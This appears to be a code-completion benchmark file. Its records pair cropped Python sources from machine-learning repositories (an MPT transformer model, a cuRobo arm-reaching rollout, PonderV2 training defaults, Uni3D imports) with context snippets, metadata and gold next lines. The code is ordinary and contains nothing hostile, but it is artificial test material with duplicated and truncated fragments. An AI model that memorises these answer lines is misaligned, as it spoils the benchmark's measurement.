assert isinstance(attn_bias, torch.Tensor) attn_bias = self._apply_sequence_id(attn_bias, sequence_id) if attention_mask is not None: s_k = attention_mask.shape[-1] if attn_bias is None: attn_bias = torch.zeros((1, 1, 1, s_k), device=device, dtype=dtype) else: _s_k = max(0, attn_bias.size(-1) - s_k) attn_bias = attn_bias[:, :, :, _s_k:] if prefix_mask is not None and attention_mask.shape != prefix_mask.shape: raise ValueError(f'attention_mask shape={attention_mask.shape} ' + f'and prefix_mask shape={prefix_mask.shape} are not equal.') min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(~attention_mask.view(-1, 1, 1, s_k), min_val) return (attn_bias, None) def _apply_prefix_mask(self, attn_bias: torch.Tensor, prefix_mask: torch.Tensor): (s_k, s_q) = attn_bias.shape[-2:] if s_k != self.config.max_seq_len or s_q != self.config.max_seq_len: raise ValueError('attn_bias does not match the expected shape. ' + f'The last two dimensions should both be {self.config.max_length} ' + f'but are {s_k} and {s_q}.') seq_len = prefix_mask.shape[-1] if seq_len > self.config.max_seq_len: raise ValueError(f'prefix_mask sequence length cannot exceed max_seq_len={self.config.max_seq_len}') attn_bias = attn_bias[..., :seq_len, :seq_len] causal = torch.tril(torch.ones((seq_len, seq_len), dtype=torch.bool, device=prefix_mask.device)).view(1, 1, seq_len, seq_len) prefix = prefix_mask.view(-1, 1, 1, seq_len) cannot_attend = ~torch.logical_or(causal, prefix.bool()) min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(cannot_attend, min_val) return attn_bias def _apply_sequence_id(self, attn_bias: torch.Tensor, sequence_id: torch.LongTensor): seq_len = sequence_id.shape[-1] if seq_len > self.config.max_seq_len: raise ValueError(f'sequence_id sequence length cannot exceed max_seq_len={self.config.max_seq_len}') attn_bias = attn_bias[..., :seq_len, :seq_len] cannot_attend = torch.logical_not(torch.eq(sequence_id.view(-1, seq_len, 1), sequence_id.view(-1, 1, seq_len))).unsqueeze(1) min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(cannot_attend, min_val) return attn_bias def forward(self, input_ids: torch.LongTensor, past_key_values: Optional[List[Tuple[torch.FloatTensor]]]=None, attention_mask: Optional[torch.ByteTensor]=None, prefix_mask: Optional[torch.ByteTensor]=None, sequence_id: Optional[torch.LongTensor]=None, return_dict: Optional[bool]=None, output_attentions: Optional[bool]=None, output_hidden_states: Optional[bool]=None, use_cache: Optional[bool]=None, inputs_embeds: Optional[torch.Tensor]=None): return_dict = return_dict if return_dict is not None else self.config.return_dict use_cache = use_cache if use_cache is not None else self.config.use_cache if attention_mask is not None: attention_mask = attention_mask.bool() if prefix_mask is not None: prefix_mask = prefix_mask.bool() if not return_dict: raise NotImplementedError('return_dict False is not implemented yet for MPT') if output_attentions: if self.attn_impl != 'torch': raise NotImplementedError('output_attentions is not implemented for MPT when using attn_impl `flash` or `triton`.') if attention_mask is not None and attention_mask[:, 0].sum() != attention_mask.shape[0] and self.training: raise NotImplementedError('MPT does not support training with left padding.') if self.prefix_lm and prefix_mask is None: raise ValueError('prefix_mask is a required argument when MPT is configured with prefix_lm=True.') if self.training: if self.attn_uses_sequence_id and sequence_id is None: raise ValueError('sequence_id is a required argument when MPT is configured with attn_uses_sequence_id=True ' + 'and the model is in train mode.') elif self.attn_uses_sequence_id is False and sequence_id is not None: warnings.warn('MPT received non-None input for `sequence_id` but is configured with attn_uses_sequence_id=False. ' + 'This input will be ignored. If you want the model to use `sequence_id`, set attn_uses_sequence_id to True.') if input_ids is not None: S = input_ids.size(1) assert S <= self.config.max_seq_len, f'Cannot forward input with seq_len={S}, this model only supports seq_len<={self.config.max_seq_len}' tok_emb = self.wte(input_ids) else: assert inputs_embeds is not None assert self.alibi, 'inputs_embeds is not implemented for MPT unless for alibi.' S = inputs_embeds.size(1) tok_emb = inputs_embeds if self.alibi: x = tok_emb else: past_position = 0 if past_key_values is not None: if len(past_key_values) != self.config.n_layers: raise ValueError(f'past_key_values must provide a past_key_value for each attention ' + f'layer in the network (len(past_key_values)={len(past_key_values)!r}; self.config.n_layers={self.config.n_layers!r}).') past_position = past_key_values[0][0].size(1) if self.attn_impl == 'torch': past_position = past_key_values[0][0].size(3) if S + past_position > self.config.max_seq_len: raise ValueError(f'Cannot forward input with past sequence length {past_position} and current sequence length {S + 1}, this model only supports total sequence length <= {self.config.max_seq_len}.') pos = torch.arange(past_position, S + past_position, dtype=torch.long, device=input_ids.device).unsqueeze(0) if attention_mask is not None: pos = torch.clamp(pos - torch.cumsum((~attention_mask).to(torch.int32), dim=1)[:, past_position:], min=0) pos_emb = self.wpe(pos) x = tok_emb + pos_emb if self.embedding_fraction == 1: x = self.emb_drop(x) else: x_shrunk = x * self.embedding_fraction + x.detach() * (1 - self.embedding_fraction) assert isinstance(self.emb_drop, nn.Module) x = self.emb_drop(x_shrunk) (attn_bias, attention_mask) = self._attn_bias(device=x.device, dtype=torch.float32, attention_mask=attention_mask, prefix_mask=prefix_mask, sequence_id=sequence_id) if use_cache and past_key_values is None: past_key_values = [() for _ in range(self.config.n_layers)] all_hidden_states = () if output_hidden_states else None all_self_attns = () if output_attentions else None for (b_idx, block) in enumerate(self.blocks): if output_hidden_states: assert all_hidden_states is not None all_hidden_states = all_hidden_states + (x,) past_key_value = past_key_values[b_idx] if past_key_values is not None else None if self.gradient_checkpointing and self.training: (x, attn_weights, past_key_value) = torch.utils.checkpoint.checkpoint(block, x, past_key_value, attn_bias, attention_mask, self.is_causal) else: (x, attn_weights, past_key_value) = block(x, past_key_value=past_key_value, attn_bias=attn_bias, attention_mask=attention_mask, is_causal=self.is_causal) if past_key_values is not None: past_key_values[b_idx] = past_key_value if output_attentions: assert all_self_attns is not None all_self_attns = all_self_attns + (attn_weights,) x = self.norm_f(x) if output_hidden_states: assert all_hidden_states is not None all_hidden_states = all_hidden_states + (x,) return BaseModelOutputWithPast(last_hidden_state=x, past_key_values=past_key_values, hidden_states=all_hidden_states, attentions=all_self_attns) def param_init_fn(self, module): init_fn_name = self.config.init_config['name']
"""A simple, flexible implementation of a GPT model. Inspired by https://github.com/karpathy/minGPT/blob/master/mingpt/model.py """ try: except: pass Tokenizer = Union[PreTrainedTokenizer, PreTrainedTokenizerFast] class MPTPreTrainedModel(PreTrainedModel): config_class = MPTConfig base_model_prefix = 'model' _no_split_modules = ['MPTBlock'] class MPTModel(MPTPreTrainedModel): def __init__(self, config: MPTConfig): config._validate_config() super().__init__(config) self.attn_impl = config.attn_config['attn_impl'] self.prefix_lm = config.attn_config['prefix_lm'] self.attn_uses_sequence_id = config.attn_config['attn_uses_sequence_id'] self.alibi = config.attn_config['alibi'] self.alibi_bias_max = config.attn_config['alibi_bias_max'] if config.init_device == 'mixed': if dist.get_local_rank() == 0: config.init_device = 'cpu' else: config.init_device = 'meta' if config.norm_type.lower() not in NORM_CLASS_REGISTRY.keys(): norm_options = ' | '.join(NORM_CLASS_REGISTRY.keys()) raise NotImplementedError(f'Requested norm type ({config.norm_type}) is not implemented within this repo (Options: {norm_options}).') norm_class = NORM_CLASS_REGISTRY[config.norm_type.lower()] self.embedding_fraction = config.embedding_fraction self.wte = SharedEmbedding(config.vocab_size, config.d_model, device=config.init_device) if not self.alibi: self.wpe = torch.nn.Embedding(config.max_seq_len, config.d_model, device=config.init_device) self.emb_drop = nn.Dropout(config.emb_pdrop) self.blocks = nn.ModuleList([MPTBlock(device=config.init_device, **config.to_dict()) for _ in range(config.n_layers)]) self.norm_f = norm_class(config.d_model, device=config.init_device) if config.init_device != 'meta': print(f'You are using config.init_device={config.init_device!r}, but you can also use config.init_device="meta" with Composer + FSDP for fast initialization.') self.apply(self.param_init_fn) self.is_causal = not self.prefix_lm self._attn_bias_initialized = False self.attn_bias = None self.attn_bias_shape = attn_bias_shape(self.attn_impl, config.n_heads, config.max_seq_len, self.alibi, prefix_lm=self.prefix_lm, causal=self.is_causal, use_sequence_id=self.attn_uses_sequence_id) if config.no_bias: for module in self.modules(): if hasattr(module, 'bias') and isinstance(module.bias, nn.Parameter): if config.verbose: warnings.warn(f'Removing bias ({module.bias}) from {module}.') module.register_parameter('bias', None) if config.verbose and config.verbose > 2: print(self) if 'verbose' not in self.config.init_config: self.config.init_config['verbose'] = self.config.verbose if self.config.init_config['verbose'] > 1: init_fn_name = self.config.init_config['name'] warnings.warn(f'Using {init_fn_name} initialization.') self.gradient_checkpointing = False def get_input_embeddings(self): return self.wte def set_input_embeddings(self, value): self.wte = value @torch.no_grad() def _attn_bias(self, device, dtype, attention_mask: Optional[torch.ByteTensor]=None, prefix_mask: Optional[torch.ByteTensor]=None, sequence_id: Optional[torch.LongTensor]=None): if not self._attn_bias_initialized: if self.attn_bias_shape: self.attn_bias = torch.zeros(self.attn_bias_shape, device=device, dtype=dtype) self.attn_bias = build_attn_bias(self.attn_impl, self.attn_bias, self.config.n_heads, self.config.max_seq_len, causal=self.is_causal, alibi=self.alibi, alibi_bias_max=self.alibi_bias_max) self._attn_bias_initialized = True if self.attn_impl == 'flash': return (self.attn_bias, attention_mask) if self.attn_bias is not None: self.attn_bias = self.attn_bias.to(dtype=dtype, device=device) attn_bias = self.attn_bias if self.prefix_lm: assert isinstance(attn_bias, torch.Tensor) assert isinstance(prefix_mask, torch.Tensor) attn_bias = self._apply_prefix_mask(attn_bias, prefix_mask) if self.attn_uses_sequence_id and sequence_id is not None: assert isinstance(attn_bias, torch.Tensor) attn_bias = self._apply_sequence_id(attn_bias, sequence_id) if attention_mask is not None: s_k = attention_mask.shape[-1] if attn_bias is None: attn_bias = torch.zeros((1, 1, 1, s_k), device=device, dtype=dtype) else: _s_k = max(0, attn_bias.size(-1) - s_k) attn_bias = attn_bias[:, :, :, _s_k:] if prefix_mask is not None and attention_mask.shape != prefix_mask.shape: raise ValueError(f'attention_mask shape={attention_mask.shape} ' + f'and prefix_mask shape={prefix_mask.shape} are not equal.') min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(~attention_mask.view(-1, 1, 1, s_k), min_val) return (attn_bias, None) def _apply_prefix_mask(self, attn_bias: torch.Tensor, prefix_mask: torch.Tensor): (s_k, s_q) = attn_bias.shape[-2:] if s_k != self.config.max_seq_len or s_q != self.config.max_seq_len: raise ValueError('attn_bias does not match the expected shape. ' + f'The last two dimensions should both be {self.config.max_length} ' + f'but are {s_k} and {s_q}.') seq_len = prefix_mask.shape[-1] if seq_len > self.config.max_seq_len: raise ValueError(f'prefix_mask sequence length cannot exceed max_seq_len={self.config.max_seq_len}') attn_bias = attn_bias[..., :seq_len, :seq_len] causal = torch.tril(torch.ones((seq_len, seq_len), dtype=torch.bool, device=prefix_mask.device)).view(1, 1, seq_len, seq_len) prefix = prefix_mask.view(-1, 1, 1, seq_len) cannot_attend = ~torch.logical_or(causal, prefix.bool()) min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(cannot_attend, min_val) return attn_bias def _apply_sequence_id(self, attn_bias: torch.Tensor, sequence_id: torch.LongTensor): seq_len = sequence_id.shape[-1] if seq_len > self.config.max_seq_len: raise ValueError(f'sequence_id sequence length cannot exceed max_seq_len={self.config.max_seq_len}') attn_bias = attn_bias[..., :seq_len, :seq_len] cannot_attend = torch.logical_not(torch.eq(sequence_id.view(-1, seq_len, 1), sequence_id.view(-1, 1, seq_len))).unsqueeze(1) min_val = torch.finfo(attn_bias.dtype).min attn_bias = attn_bias.masked_fill(cannot_attend, min_val) return attn_bias def forward(self, input_ids: torch.LongTensor, past_key_values: Optional[List[Tuple[torch.FloatTensor]]]=None, attention_mask: Optional[torch.ByteTensor]=None, prefix_mask: Optional[torch.ByteTensor]=None, sequence_id: Optional[torch.LongTensor]=None, return_dict: Optional[bool]=None, output_attentions: Optional[bool]=None, output_hidden_states: Optional[bool]=None, use_cache: Optional[bool]=None, inputs_embeds: Optional[torch.Tensor]=None): return_dict = return_dict if return_dict is not None else self.config.return_dict use_cache = use_cache if use_cache is not None else self.config.use_cache if attention_mask is not None: attention_mask = attention_mask.bool() if prefix_mask is not None: prefix_mask = prefix_mask.bool() if not return_dict: raise NotImplementedError('return_dict False is not implemented yet for MPT') if output_attentions: if self.attn_impl != 'torch': raise NotImplementedError('output_attentions is not implemented for MPT when using attn_impl `flash` or `triton`.') if attention_mask is not None and attention_mask[:, 0].sum() != attention_mask.shape[0] and self.training: raise NotImplementedError('MPT does not support training with left padding.') if self.prefix_lm and prefix_mask is None: raise ValueError('prefix_mask is a required argument when MPT is configured with prefix_lm=True.') if self.training: if self.attn_uses_sequence_id and sequence_id is None: raise ValueError('sequence_id is a required argument when MPT is configured with attn_uses_sequence_id=True ' + 'and the model is in train mode.') elif self.attn_uses_sequence_id is False and sequence_id is not None: warnings.warn('MPT received non-None input for `sequence_id` but is configured with attn_uses_sequence_id=False. ' + 'This input will be ignored. If you want the model to use `sequence_id`, set attn_uses_sequence_id to True.') if input_ids is not None: S = input_ids.size(1) assert S <= self.config.max_seq_len, f'Cannot forward input with seq_len={S}, this model only supports seq_len<={self.config.max_seq_len}' tok_emb = self.wte(input_ids) else: assert inputs_embeds is not None assert self.alibi, 'inputs_embeds is not implemented for MPT unless for alibi.' S = inputs_embeds.size(1) tok_emb = inputs_embeds if self.alibi: x = tok_emb else: past_position = 0 if past_key_values is not None: if len(past_key_values) != self.config.n_layers: raise ValueError(f'past_key_values must provide a past_key_value for each attention ' + f'layer in the network (len(past_key_values)={len(past_key_values)!r}; self.config.n_layers={self.config.n_layers!r}).') past_position = past_key_values[0][0].size(1) if self.attn_impl == 'torch': past_position = past_key_values[0][0].size(3) if S + past_position > self.config.max_seq_len: raise ValueError(f'Cannot forward input with past sequence length {past_position} and current sequence length {S + 1}, this model only supports total sequence length <= {self.config.max_seq_len}.') pos = torch.arange(past_position, S + past_position, dtype=torch.long, device=input_ids.device).unsqueeze(0) if attention_mask is not None: pos = torch.clamp(pos - torch.cumsum((~attention_mask).to(torch.int32), dim=1)[:, past_position:], min=0) pos_emb = self.wpe(pos) x = tok_emb + pos_emb if self.embedding_fraction == 1: x = self.emb_drop(x) else: x_shrunk = x * self.embedding_fraction + x.detach() * (1 - self.embedding_fraction) assert isinstance(self.emb_drop, nn.Module) x = self.emb_drop(x_shrunk) (attn_bias, attention_mask) = self._attn_bias(device=x.device, dtype=torch.float32, attention_mask=attention_mask, prefix_mask=prefix_mask, sequence_id=sequence_id) if use_cache and past_key_values is None: past_key_values = [() for _ in range(self.config.n_layers)] all_hidden_states = () if output_hidden_states else None all_self_attns = () if output_attentions else None for (b_idx, block) in enumerate(self.blocks): if output_hidden_states: assert all_hidden_states is not None all_hidden_states = all_hidden_states + (x,) past_key_value = past_key_values[b_idx] if past_key_values is not None else None if self.gradient_checkpointing and self.training: (x, attn_weights, past_key_value) = torch.utils.checkpoint.checkpoint(block, x, past_key_value, attn_bias, attention_mask, self.is_causal) else: (x, attn_weights, past_key_value) = block(x, past_key_value=past_key_value, attn_bias=attn_bias, attention_mask=attention_mask, is_causal=self.is_causal) if past_key_values is not None: past_key_values[b_idx] = past_key_value if output_attentions: assert all_self_attns is not None all_self_attns = all_self_attns + (attn_weights,) x = self.norm_f(x) if output_hidden_states: assert all_hidden_states is not None all_hidden_states = all_hidden_states + (x,) return BaseModelOutputWithPast(last_hidden_state=x, past_key_values=past_key_values, hidden_states=all_hidden_states, attentions=all_self_attns) def param_init_fn(self, module): init_fn_name = self.config.init_config['name']
MODEL_INIT_REGISTRY[init_fn_name](module=module, n_layers=self.config.n_layers, d_model=self.config.d_model, **self.config.init_config)
11
2023-10-10 20:46:46+00:00
12k
NVlabs/curobo
src/curobo/rollout/arm_reacher.py
[ { "identifier": "ArmBase", "path": "src/curobo/rollout/arm_base.py", "snippet": "class ArmBase(RolloutBase, ArmBaseConfig):\n \"\"\"\n This rollout function is for reaching a cartesian pose for a robot\n \"\"\"\n\n @profiler.record_function(\"arm_base/init\")\n def __init__(self, config: ...
from dataclasses import dataclass from typing import Dict, Optional from curobo.geom.sdf.world import WorldCollision from curobo.rollout.cost.cost_base import CostConfig from curobo.rollout.cost.dist_cost import DistCost, DistCostConfig from curobo.rollout.cost.pose_cost import PoseCost, PoseCostConfig from curobo.rollout.cost.straight_line_cost import StraightLineCost from curobo.rollout.cost.zero_cost import ZeroCost from curobo.rollout.dynamics_model.kinematic_model import KinematicModelState from curobo.rollout.rollout_base import Goal, RolloutMetrics from curobo.types.base import TensorDeviceType from curobo.types.robot import RobotConfig from curobo.types.tensor import T_BValue_float from curobo.util.helpers import list_idx_if_not_none from curobo.util.logger import log_info from curobo.util.tensor_util import cat_max, cat_sum from .arm_base import ArmBase, ArmBaseConfig, ArmCostConfig import torch import torch.autograd.profiler as profiler
7,773
# # Standard Library # Third Party # CuRobo # Local Folder @dataclass class ArmReacherMetrics(RolloutMetrics): cspace_error: Optional[T_BValue_float] = None position_error: Optional[T_BValue_float] = None rotation_error: Optional[T_BValue_float] = None pose_error: Optional[T_BValue_float] = None def __getitem__(self, idx): d_list = [ self.cost, self.constraint, self.feasible, self.state, self.cspace_error, self.position_error, self.rotation_error, self.pose_error, ] idx_vals = list_idx_if_not_none(d_list, idx) return ArmReacherMetrics(*idx_vals) def clone(self, clone_state=False): if clone_state: raise NotImplementedError() return ArmReacherMetrics( cost=None if self.cost is None else self.cost.clone(), constraint=None if self.constraint is None else self.constraint.clone(), feasible=None if self.feasible is None else self.feasible.clone(), state=None if self.state is None else self.state, cspace_error=None if self.cspace_error is None else self.cspace_error, position_error=None if self.position_error is None else self.position_error, rotation_error=None if self.rotation_error is None else self.rotation_error, pose_error=None if self.pose_error is None else self.pose_error, ) @dataclass class ArmReacherCostConfig(ArmCostConfig): pose_cfg: Optional[PoseCostConfig] = None cspace_cfg: Optional[DistCostConfig] = None straight_line_cfg: Optional[CostConfig] = None zero_acc_cfg: Optional[CostConfig] = None zero_vel_cfg: Optional[CostConfig] = None zero_jerk_cfg: Optional[CostConfig] = None link_pose_cfg: Optional[PoseCostConfig] = None @staticmethod def _get_base_keys(): base_k = ArmCostConfig._get_base_keys() # add new cost terms: new_k = { "pose_cfg": PoseCostConfig, "cspace_cfg": DistCostConfig, "straight_line_cfg": CostConfig, "zero_acc_cfg": CostConfig, "zero_vel_cfg": CostConfig, "zero_jerk_cfg": CostConfig, "link_pose_cfg": PoseCostConfig, } new_k.update(base_k) return new_k @staticmethod def from_dict( data_dict: Dict, robot_cfg: RobotConfig, world_coll_checker: Optional[WorldCollision] = None, tensor_args: TensorDeviceType = TensorDeviceType(), ): k_list = ArmReacherCostConfig._get_base_keys() data = ArmCostConfig._get_formatted_dict( data_dict, k_list, robot_cfg, world_coll_checker=world_coll_checker, tensor_args=tensor_args, ) return ArmReacherCostConfig(**data) @dataclass class ArmReacherConfig(ArmBaseConfig): cost_cfg: ArmReacherCostConfig constraint_cfg: ArmReacherCostConfig convergence_cfg: ArmReacherCostConfig @staticmethod def cost_from_dict( cost_data_dict: Dict, robot_cfg: RobotConfig, world_coll_checker: Optional[WorldCollision] = None, tensor_args: TensorDeviceType = TensorDeviceType(), ): return ArmReacherCostConfig.from_dict( cost_data_dict, robot_cfg, world_coll_checker=world_coll_checker, tensor_args=tensor_args, ) @torch.jit.script def _compute_g_dist_jit(rot_err_norm, goal_dist): # goal_cost = goal_cost.view(cost.shape) # rot_err_norm = rot_err_norm.view(cost.shape) # goal_dist = goal_dist.view(cost.shape) g_dist = goal_dist.unsqueeze(-1) + 10.0 * rot_err_norm.unsqueeze(-1) return g_dist
# # Copyright (c) 2023 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # # NVIDIA CORPORATION, its affiliates and licensors retain all intellectual # property and proprietary rights in and to this material, related # documentation and any modifications thereto. Any use, reproduction, # disclosure or distribution of this material and related documentation # without an express license agreement from NVIDIA CORPORATION or # its affiliates is strictly prohibited. # # Standard Library # Third Party # CuRobo # Local Folder @dataclass class ArmReacherMetrics(RolloutMetrics): cspace_error: Optional[T_BValue_float] = None position_error: Optional[T_BValue_float] = None rotation_error: Optional[T_BValue_float] = None pose_error: Optional[T_BValue_float] = None def __getitem__(self, idx): d_list = [ self.cost, self.constraint, self.feasible, self.state, self.cspace_error, self.position_error, self.rotation_error, self.pose_error, ] idx_vals = list_idx_if_not_none(d_list, idx) return ArmReacherMetrics(*idx_vals) def clone(self, clone_state=False): if clone_state: raise NotImplementedError() return ArmReacherMetrics( cost=None if self.cost is None else self.cost.clone(), constraint=None if self.constraint is None else self.constraint.clone(), feasible=None if self.feasible is None else self.feasible.clone(), state=None if self.state is None else self.state, cspace_error=None if self.cspace_error is None else self.cspace_error, position_error=None if self.position_error is None else self.position_error, rotation_error=None if self.rotation_error is None else self.rotation_error, pose_error=None if self.pose_error is None else self.pose_error, ) @dataclass class ArmReacherCostConfig(ArmCostConfig): pose_cfg: Optional[PoseCostConfig] = None cspace_cfg: Optional[DistCostConfig] = None straight_line_cfg: Optional[CostConfig] = None zero_acc_cfg: Optional[CostConfig] = None zero_vel_cfg: Optional[CostConfig] = None zero_jerk_cfg: Optional[CostConfig] = None link_pose_cfg: Optional[PoseCostConfig] = None @staticmethod def _get_base_keys(): base_k = ArmCostConfig._get_base_keys() # add new cost terms: new_k = { "pose_cfg": PoseCostConfig, "cspace_cfg": DistCostConfig, "straight_line_cfg": CostConfig, "zero_acc_cfg": CostConfig, "zero_vel_cfg": CostConfig, "zero_jerk_cfg": CostConfig, "link_pose_cfg": PoseCostConfig, } new_k.update(base_k) return new_k @staticmethod def from_dict( data_dict: Dict, robot_cfg: RobotConfig, world_coll_checker: Optional[WorldCollision] = None, tensor_args: TensorDeviceType = TensorDeviceType(), ): k_list = ArmReacherCostConfig._get_base_keys() data = ArmCostConfig._get_formatted_dict( data_dict, k_list, robot_cfg, world_coll_checker=world_coll_checker, tensor_args=tensor_args, ) return ArmReacherCostConfig(**data) @dataclass class ArmReacherConfig(ArmBaseConfig): cost_cfg: ArmReacherCostConfig constraint_cfg: ArmReacherCostConfig convergence_cfg: ArmReacherCostConfig @staticmethod def cost_from_dict( cost_data_dict: Dict, robot_cfg: RobotConfig, world_coll_checker: Optional[WorldCollision] = None, tensor_args: TensorDeviceType = TensorDeviceType(), ): return ArmReacherCostConfig.from_dict( cost_data_dict, robot_cfg, world_coll_checker=world_coll_checker, tensor_args=tensor_args, ) @torch.jit.script def _compute_g_dist_jit(rot_err_norm, goal_dist): # goal_cost = goal_cost.view(cost.shape) # rot_err_norm = rot_err_norm.view(cost.shape) # goal_dist = goal_dist.view(cost.shape) g_dist = goal_dist.unsqueeze(-1) + 10.0 * rot_err_norm.unsqueeze(-1) return g_dist
class ArmReacher(ArmBase, ArmReacherConfig):
0
2023-10-13 19:18:21+00:00
12k
OpenGVLab/PonderV2
ponder/engines/defaults.py
[ { "identifier": "Config", "path": "ponder/utils/config.py", "snippet": "class Config:\n \"\"\"A facility for config and config files.\n\n It supports common file formats as configs: python/json/yaml. The interface\n is the same as a dict object and also allows access config values as\n attri...
import argparse import multiprocessing as mp import os import sys import ponder.utils.comm as comm from torch.nn.parallel import DistributedDataParallel from ponder.utils.config import Config, DictAction from ponder.utils.env import get_random_seed, set_seed from torch.distributed.algorithms.ddp_comm_hooks import default as comm_hooks
7,255
""" Default training/testing logic modified from detectron2(https://github.com/facebookresearch/detectron2) Author: Xiaoyang Wu (xiaoyang.wu.cs@gmail.com) Please cite our work if the code is helpful to you. """ def create_ddp_model(model, *, fp16_compression=False, **kwargs): """ Create a DistributedDataParallel model if there are >1 processes. Args: model: a torch.nn.Module fp16_compression: add fp16 compression hooks to the ddp object. See more at https://pytorch.org/docs/stable/ddp_comm_hooks.html#torch.distributed.algorithms.ddp_comm_hooks.default_hooks.fp16_compress_hook kwargs: other arguments of :module:`torch.nn.parallel.DistributedDataParallel`. """ if comm.get_world_size() == 1: return model # kwargs['find_unused_parameters'] = True if "device_ids" not in kwargs: kwargs["device_ids"] = [comm.get_local_rank()] if "output_device" not in kwargs: kwargs["output_device"] = [comm.get_local_rank()] ddp = DistributedDataParallel(model, **kwargs) if fp16_compression: ddp.register_comm_hook(state=None, hook=comm_hooks.fp16_compress_hook) return ddp def worker_init_fn(worker_id, num_workers, rank, seed): """Worker init func for dataloader. The seed of each worker equals to num_worker * rank + worker_id + user_seed Args: worker_id (int): Worker id. num_workers (int): Number of workers. rank (int): The rank of current process. seed (int): The random seed to use. """ worker_seed = num_workers * rank + worker_id + seed set_seed(worker_seed) def default_argument_parser(epilog=None): parser = argparse.ArgumentParser( epilog=epilog or f""" Examples: Run on single machine: $ {sys.argv[0]} --num-gpus 8 --config-file cfg.yaml Change some config options: $ {sys.argv[0]} --config-file cfg.yaml MODEL.WEIGHTS /path/to/weight.pth SOLVER.BASE_LR 0.001 Run on multiple machines: (machine0)$ {sys.argv[0]} --machine-rank 0 --num-machines 2 --dist-url <URL> [--other-flags] (machine1)$ {sys.argv[0]} --machine-rank 1 --num-machines 2 --dist-url <URL> [--other-flags] """, formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument( "--config-file", default="", metavar="FILE", help="path to config file" ) parser.add_argument( "--num-gpus", type=int, default=1, help="number of gpus *per machine*" ) parser.add_argument( "--num-machines", type=int, default=1, help="total number of machines" ) parser.add_argument( "--machine-rank", type=int, default=0, help="the rank of this machine (unique per machine)", ) # PyTorch still may leave orphan processes in multi-gpu training. # Therefore we use a deterministic way to obtain port, # so that users are aware of orphan processes by seeing the port occupied. # port = 2 ** 15 + 2 ** 14 + hash(os.getuid() if sys.platform != "win32" else 1) % 2 ** 14 parser.add_argument( "--dist-url", # default="tcp://127.0.0.1:{}".format(port), default="auto", help="initialization URL for pytorch distributed backend. See " "https://pytorch.org/docs/stable/distributed.html for details.", ) parser.add_argument("--launcher", type=str, default="pytorch") # option slurm parser.add_argument("--master-port", type=int, default=12345) parser.add_argument( "--options", nargs="+", action=DictAction, help="custom options" ) return parser def default_config_parser(file_path, options): # config name protocol: dataset_name/model_name-exp_name if os.path.isfile(file_path):
""" Default training/testing logic modified from detectron2(https://github.com/facebookresearch/detectron2) Author: Xiaoyang Wu (xiaoyang.wu.cs@gmail.com) Please cite our work if the code is helpful to you. """ def create_ddp_model(model, *, fp16_compression=False, **kwargs): """ Create a DistributedDataParallel model if there are >1 processes. Args: model: a torch.nn.Module fp16_compression: add fp16 compression hooks to the ddp object. See more at https://pytorch.org/docs/stable/ddp_comm_hooks.html#torch.distributed.algorithms.ddp_comm_hooks.default_hooks.fp16_compress_hook kwargs: other arguments of :module:`torch.nn.parallel.DistributedDataParallel`. """ if comm.get_world_size() == 1: return model # kwargs['find_unused_parameters'] = True if "device_ids" not in kwargs: kwargs["device_ids"] = [comm.get_local_rank()] if "output_device" not in kwargs: kwargs["output_device"] = [comm.get_local_rank()] ddp = DistributedDataParallel(model, **kwargs) if fp16_compression: ddp.register_comm_hook(state=None, hook=comm_hooks.fp16_compress_hook) return ddp def worker_init_fn(worker_id, num_workers, rank, seed): """Worker init func for dataloader. The seed of each worker equals to num_worker * rank + worker_id + user_seed Args: worker_id (int): Worker id. num_workers (int): Number of workers. rank (int): The rank of current process. seed (int): The random seed to use. """ worker_seed = num_workers * rank + worker_id + seed set_seed(worker_seed) def default_argument_parser(epilog=None): parser = argparse.ArgumentParser( epilog=epilog or f""" Examples: Run on single machine: $ {sys.argv[0]} --num-gpus 8 --config-file cfg.yaml Change some config options: $ {sys.argv[0]} --config-file cfg.yaml MODEL.WEIGHTS /path/to/weight.pth SOLVER.BASE_LR 0.001 Run on multiple machines: (machine0)$ {sys.argv[0]} --machine-rank 0 --num-machines 2 --dist-url <URL> [--other-flags] (machine1)$ {sys.argv[0]} --machine-rank 1 --num-machines 2 --dist-url <URL> [--other-flags] """, formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument( "--config-file", default="", metavar="FILE", help="path to config file" ) parser.add_argument( "--num-gpus", type=int, default=1, help="number of gpus *per machine*" ) parser.add_argument( "--num-machines", type=int, default=1, help="total number of machines" ) parser.add_argument( "--machine-rank", type=int, default=0, help="the rank of this machine (unique per machine)", ) # PyTorch still may leave orphan processes in multi-gpu training. # Therefore we use a deterministic way to obtain port, # so that users are aware of orphan processes by seeing the port occupied. # port = 2 ** 15 + 2 ** 14 + hash(os.getuid() if sys.platform != "win32" else 1) % 2 ** 14 parser.add_argument( "--dist-url", # default="tcp://127.0.0.1:{}".format(port), default="auto", help="initialization URL for pytorch distributed backend. See " "https://pytorch.org/docs/stable/distributed.html for details.", ) parser.add_argument("--launcher", type=str, default="pytorch") # option slurm parser.add_argument("--master-port", type=int, default=12345) parser.add_argument( "--options", nargs="+", action=DictAction, help="custom options" ) return parser def default_config_parser(file_path, options): # config name protocol: dataset_name/model_name-exp_name if os.path.isfile(file_path):
cfg = Config.fromfile(file_path)
0
2023-10-13 12:57:00+00:00
12k
baaivision/Uni3D
main.py
[ { "identifier": "utils", "path": "utils/utils.py", "snippet": "def merge_new_config(config, new_config):\ndef cfg_from_yaml_file(cfg_file):\ndef get_model(model):\ndef setup_for_distributed(is_master):\n def print(*args, **kwargs):\ndef is_dist_avail_and_initialized():\ndef get_world_size():\ndef get...
from collections import OrderedDict from data.datasets import * from utils import utils from utils.utils import get_dataset from utils.tokenizer import SimpleTokenizer from utils.distributed import is_master, init_distributed_device, world_info_from_env, create_deepspeed_config from utils.params import parse_args from utils.logger import setup_logging from utils.scheduler import warmup_cosine_lr from utils.optim import create_optimizer, get_all_parameters, get_loss_scale_for_deepspeed, get_grad_norm_ from datetime import datetime import math import time import wandb import torch.cuda.amp as amp import torch.nn.parallel import torch.optim import torch.utils.data import torch.utils.data.distributed import torchvision.transforms as transforms import collections import open_clip import models.uni3d as models import glob
10,249
